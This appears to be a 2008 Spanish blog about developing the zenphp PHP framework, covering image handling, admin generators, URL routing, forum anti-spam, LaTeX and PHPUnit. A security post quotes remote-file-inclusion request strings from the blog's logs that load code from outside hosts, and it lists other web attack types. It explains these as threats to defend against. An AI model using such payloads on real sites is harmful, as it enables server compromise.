Mostrando el infinito a través de iframes gracias a Gecko:
Firefox nunca deja de sorprenderme, a veces ocurren cosas extrañas como esta, en zenphp escribo una línea para depurar una consulta SQL y al mostrar el HTML, Firefox inventa una página nueva
,dentro de un iframe y otra vez y así sucesivamente hasta el infinito, es un bug visual pero no consume recursos…impresionante…
Ahora que ha salido la versión 3 de este navegador imprescindible para algun@s
espero que los chicos de firebug tengan listo su módulo cuanto antes para mudarme alli…
Automatizando procesos de imágenes
20 Mayo, 2008
![]()
Normalmente, cuando subimos una imagen lo primero que necesitamos es redimensionarla, para ello he añadido una librería, tengo el soporte de BMP hecho pero no lo considero relevante, al menos no tanto como el de JPEG,PNG y GIF, fundamentales en la web que si vienen con la clase…:)
Un ejemplo se puede ver en la misma clase.

Más sencillo no se puede oiga!
Más Extras para completar zenphp:VCard y DHTML Calendar
13 Mayo, 2008
Como he visto que faltaban algunas cuestiones extras, las he añadido:
soporte para VCards [código][ejemplo]
Podeis hacer uso de “apt-get install 2vcard” para hacer vuestras conversiones de libros de direcciones a VCards.
Calendarios en DHTML para insertar en formularios [descargar DHTML Calendar][ejemplo]
Una captura:
Espero que os sirvan, como siempre
Aplicaciones de administración
29 Abril, 2008
Un gestor de contenidos de una aplicación de administración, a lo largo de la historia de zenphp me he visto obligado a crear diversos tipos de administradores e ingeniármelas para hacerlo de forma tan general que pudiera compartir el código entre proyectos para no reescribir todo el código una y otra vez en función de las necesidades de los usuarios finales.
Para generar dichas aplicaciones, estoy diseñando un modelo general de aplicación web de administración con una serie de plantillas, el conjunto total de la aplicación con administración es el cartucho que carga el generador Gtk y es compilado por el generador POA de forma que obtenemos el esqueleto inicial de una aplicación en pocos segundos ,sobre la que vamos a trabajar, podemos cambiar las plantillas de administración pero realmente no es algo primordial ya que sólo con cambiar el logo para cada proyecto y un par de cosas más estará completado.
Adjunto una captura de una de las aplicaciones web de administración del modelo de “Portal” que estoy preparando como cartucho para incluir en el repositorio SVN del proyecto.

En la imagen se puede ver el visualizador HTML donde el único HTML que hay son pequeños mensajes de resultados, una pregunta, una confirmación, cosas simples, que han de estar mejor en funciones que lean una plantilla por defecto, asi está todo bien organizado. El resultado es una página de administración para mantener el contenido de una aplicación web cliente de forma que cualquier usuario pueda modificar cualquier parte de la misma.
Expandiendo zenphp a los medios
24 Abril, 2008
Para expandir zenphp escribo artículos donde tan sólo explico lo que los programadores necesitan, se hace más fácil de leer si no son muy largos y está escrito de forma que es comprensible independientemente del nivel que tenga el lector,…o al menos se intenta
| El último artículo que he escrito va sobre cadenas de texto y expresiones regulares, muchas comunidades suelen tener cientos de preguntas ,donde se repiten muy a menudo los temas, con estos pequeños tutoriales se pretende ahorrar horas de conversaciones y preguntas/respuestas que por bien que estén necesitan un tiempo para ser publicados y completados. | ![]() |
Tener en cuenta todos los casos es fundamental, para hacerlo me ayudo de los libros que voy encontrando, la mayoría están en inglés y a veces me sorprendo a mi mismo leyendo y escuchando cosas en este idioma, como si fuera español, aunque no me vuelvo a plantear si el framework debería estar en inglés, me parece bien como está
Aplicaciones web seguras
20 Abril, 2008
Escribí hace algún tiempo un artículo donde explicaba el problema de que se diera mucho a conocer un software hasta que mucha gente lo usara ,comentándolo públicamente…y por qué existe un riesgo mayor mientras más fama tenga…
He encontrado indicios de intentos de explotación de agujeros de distinta índole en los logs de este blog, aquí teneis ejemplos de lo que se pretende hacer…
¡¡Lanzamiento de caña!!
- Con la siguiente dirección:
home.php?section=http://www.backbreakacres.com/22/test.txt??
se pretende inyectar un ataque con una línea de ejecución de comando de consola, detectando previamente el sistema operativo para lanzar un servicio de red…para ello se necesita comprobar si el parámetro safe_mode de PHP está activado…algo relativamente sencillo que puede ser testeado rápidamente y tiene grabes consecuencias… - Por medio del siguiente ataque
URL%20http://yoshishome.chat.ru/images se intenta engañar a un controlador de una aplicación web
con la aspiración ni más ni menos que de insertar todo un conjunto de órdenes en una cadena que está ofuscada y encriptada para que los analizadores de código no encuentren ninguna linea u orden sospechosa en tiempo de ejecución, recordemos el peligro de la función eval() de PHP… - Técnicas raras usando métodos que concatenan dirección tras dirección con parámetros ++GET para engañar al analizador de .htaccess de Apache y conseguir descargar ficheros ,etc.
A esto se ha de añadir otros tipos de ataque como las inyecciones de SQL en los formularios, modificación de cookies de sesión, des-habilitación de JavaScript, antes,mientras y tras la carga de una web, alteración del envío de una petición por métodos POST y GET, aprovechar vulnerabilidades conocidas en general de PHP, como la escritura de ficheros y ataques XSS…etc.
Por eso, un buen framework ha de pensar en estas cosas tan importantes y dar soluciones a la altura, en mi caso,he propuesto algunas…y están implementadas de forma transparente.
Si no teníamos suficiente con diseñar las webs para cada tipo de navegador (y S.O.) además tenemos que estar atentos a los ataques del exterior, jeje
Ideas que funcionan: las rutas de una aplicación
14 Abril, 2008

El año pasado cuando empecé a escribir el enrutador del framework lo hice de forma muy general, para dar al programador la libertad de escribir el suyo propio y lo pudiera enlazar con cualquier aplicación de modo que se pudiera escribir una clase como zen_enrutador y asignar expresiones regulares únicas para determinadas rutas propias definidas por el usuario.
Un ejemplo de que la idea funciona es que se está usando en muchas páginas web, por ejemplo en el Pais, ¿cómo podemos descubrir que la idea del enrutador se está utilizando?, muy fácilmente, eliminando parte de la URL xD
…Veamos un ejemplo,de un artículo del país…
La dirección original es la siguiente:
De aquí, podemos ir “quitando trozos” que sabemos que no forman parte de la acción de un controlador de una aplicación web, sólo por el nombre. Lo explicaré con un ejemplo, un nombre de acción puede ser: “articulo”, “sociedad”, etc. sin embargo aquí se puede eliminar “sociedad” quizás, se dejó para categorizarlo en google…veamos como sigue funcionando la URL con las palabras clave de las acciones y los datos que necesita el modelo para recuperar el artículo:
Por lo que podemos deducir que la acción es “articulo” y que los datos que necesita son:la fecha en formato AñoMesDia, con el autor y un identificador para el artículo, de forma que se analizará primero la acción y se tomará el final de la URL de derecha a izquierda para recuperar el identificador único de artículo a mostrar, si seguimos eliminando al final observaremos que esta pequeña introducción a la ingeniería web (inversa) nos indica que las ideas simples suelen funcionar, mirad como queda la URL válida al final:
http://www.elpais.com/articulo/20080411elpepusoc_4/Tes
es lo único que necesita, podeis comprobar por qué el 4 es el número de artículo porque (además de ser lo más lógico) podemos ir a
http://www.elpais.com/articulo/20080411elpepusoc_3/Tes ,que es el siguiente
Saludos!
Pruebas con caché y anti-spam para la forja
6 Abril, 2008
Hace tiempo que me procuré de encontrar un método eficaz y simple para evitar spam en los foros de la forja pero nunca lo encontré, asi que ideé uno, por si teneis problemas con el spam en vuestros foros aquí teneis el código, son sólo dos ficheros, vuestro servidor necesita tener CURL instalado.
- Generador de enlaces de spam en los foros de tu proyecto de la Forja
- Iframe que incrusta los formularios para borrar los mensajes de spam
Para que funcione, sólo debéis colocarlo en vuestro servidor, y llamar a miservidor.es/borra_spam.php.
Para configurarlo:
- $id_proyecto es vuestro número de proyecto, aparece cuando pincháis en los foros de vuestro proyecto ( ?group_id=#___# ) donde #___# es vuestro ID de proyecto
- $id_foros es un array con todos los identificadores de los foros que tengais: (?forum_id=#___#) donde #___# es vuestro id de foro
- $palabra es la/s palabra/s que hay en los mensaje de spam…y ¡cuidado! debe ser una sentencia única, porque es peligroso y podeis borrar mensajes que no queríais borrar sin poder recuperarlos…podeis probar qué encuentra con el buscador en el que se basa este generador de anti-spam con el genial buscador avanzado que trae la Forja en:
https://forja.rediris.es/search/advanced_search.php?group_id=#___#
donde #___# es vuestro id de proyecto.
El generador de enlaces de spam recorrerá los foros especificados abriendo una conexión con el buscador avanzado, es por eso que debeis tener una sesión abierta como administrador para que aparezcan los formularios de edición y se pueda establecer la conexión correctamente al hacer el envío pinchando en cada uno de los botones “Borrar” de cada iframe, que aparecerán por cada acierto de la/s palabra/s encontradas en los foros del proyecto, en mi caso , el atacante spam me envia cada dia una ristra de posts donde aparece la palabra drug, cosa que no suelo utilizar XD en mis foros, por eso puedo encontrarlo y borrarlo rápidamente.
Aquí una captura:
Cambiando de tema, en este foro hay nuevas pruebas con Akismet para vuestras aplicaciones así como de un ejemplo de caché.
Pasaré a explicar un poco mejor como funciona esto de la caché: esto es lo que hace que vuestras aplicaciones suban muchos puntos en cuanto a rendimiento,tal como hace Drupal, de forma que se guardan en la caché contenidos que no vayan a cambiar mucho,estableciéndose el tiempo límite y asi, cargar el contenido generado (sólo una vez) desde un fichero en lugar de procesarlo todo muchas veces, es un truco que también usa Wordpress, sin embargo se puede utilizar para cualquier parte de la aplicación, por ejemplo si lleváis un número de comentarios en un artículo mayor de 50, es tonteria leerlos todos y aplicarles las plantillas, en lugar de eso, se genera hasta un número límite de 50, se guarda una vez y se establece una caché para esos primeros cincuenta.
En cuanto al progreso, se ha avanzado mucho con el gestor de contenidos, el generador está a punto para insertar dicho generador como un administrador con una aplicación zen_aplicacion_administrador…
Salu2!
Crear documentación con LateX
3 Abril, 2008
He creado esta pequeña macro:
#!/bin/bash latex $1.tex dvips -Ppdf -G0 $1.dvi -o $1.ps ps2pdf -dPDFSettings=/prepress $1.ps $1.pdf acroread $1.pdf
para automatizar el proceso de creación de documentos PDF con LateX,con el que sólo tenemos que escribir ./macro presentacion
donde presentacion es un fichero con extensión .tex de forma que se generan los ficheros necesarios para procesar el PDF…para más información podéis ver este vídeo: un ejemplo de creación de documentación,perteneciente al documento “presentacion.tex” que estoy generando…
Pruebas con PHPUnit
31 Marzo, 2008
Para instalar PHPUnit se necesita PEAR, para ello basta con hacer, en GNU/Linux :
apt-get install php-pear
Además necesitamos graph-viz para mostrar los resultados gráficamente:
apt-get install graph-viz
sudo pear install Image_Graphvi
entonces podemos hacer las pruebas con una macro que he reutilizado del proyecto ContactR.
~/csl2-zenphp/trunk/documentacion/test$ make
Para saber más, estoy preparando un PDF para completar la información.






